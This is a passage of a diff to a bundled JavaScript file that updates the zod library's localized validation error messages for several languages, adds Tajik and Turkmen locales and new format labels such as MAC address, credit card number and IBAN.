datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63774,12 +66064,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -63848,17 +66142,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: "objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63882,14 +66177,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -63959,17 +66258,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63995,12 +66295,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -64070,17 +66374,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64106,12 +66528,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -64181,17 +66607,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: "simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64217,12 +66752,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: "IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -64287,17 +66826,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64323,12 +66863,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -64396,22 +66940,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// 